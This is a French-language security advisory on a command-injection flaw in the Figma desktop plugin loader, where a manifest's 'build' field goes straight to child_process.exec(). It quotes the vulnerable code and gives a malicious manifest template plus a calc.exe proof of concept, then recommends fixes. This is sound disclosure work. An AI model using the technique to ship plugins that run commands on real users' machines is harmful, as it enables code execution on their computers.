
Vulnérabilité d'injection de commandes OS via l'exécution de plugins dans l'application de bureau Figma
L'application de bureau Figma (v125.6.5) contient une vulnérabilité d'injection de commandes dans le chargeur de plugins.
Un manifeste de plugin malveillant (manifest.json) peut abuser du champ build, qui est transmis directement à sans validation.
Cela permet l'exécution arbitraire de commandes OS dès le chargement du plugin, sans avertissements de sécurité ni invites.
child_process.exec()La vulnérabilité provient du code situé dans main.js, qui importe le module child_process intégré de Node.js :
Zlt = require("child_process")
Ensuite, si le champ build est présent dans le fichier manifest.json d'un plugin et que sa valeur est une chaîne, l'application exécute directement la valeur à l'aide de child_process.exec() sans aucune validation ni assainissement :
if (
s.build &&
typeof s.build === "string" &&
(l.path = process.env.PATH || "",
await new Promise((g) => {
(0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
l.stdout = I;
l.stderr = P;
y && (l.buildErrCode = y.code);
g();
});
}),
l.buildErrCode
)
return l;
Par conséquent, le fichier manifest.json suivant, contenu dans un plugin malveillant, entraînerait l'exécution de la valeur du champ build en tant que commande OS :
{
"name": "<NAME>",
"id": "<ID>",
"api": "1.0.0",
"main": "code.js",
"build": "<COMMAND>",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
Ce flux d'exécution est intégré dans la logique de gestion des plugins de Figma, et la présence de l'appel require("child_process") dans main.js confirme que l'exécution de commandes est directement intégrée à la logique centrale de l'application.
En exécutant un plugin contenant le manifest.json malveillant suivant :
{
"name": "poc",
"id": "1535549154235958412",
"api": "1.0.0",
"main": "code.js",
"build": "calc.exe",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
Une fois ce plugin enregistré dans Figma et exécuté, la commande OS spécifiée (calc.exe) s'exécute immédiatement.
Bien que l'exécution du champ build soit une fonctionnalité officiellement prise en charge dans l'application de bureau Figma, l'application devrait éviter de s'appuyer sur des champs contrôlés par l'utilisateur dans manifest.json, tels que build, chaque fois que cela est possible.
Si de tels champs doivent être pris en charge, ils doivent être soumis à une validation stricte des entrées afin de prévenir l'injection de commandes.
De plus, l'utilisation de child_process.exec() de Node.js devrait être évitée, et des alternatives plus sûres avec une gestion explicite des arguments devraient plutôt être adoptées.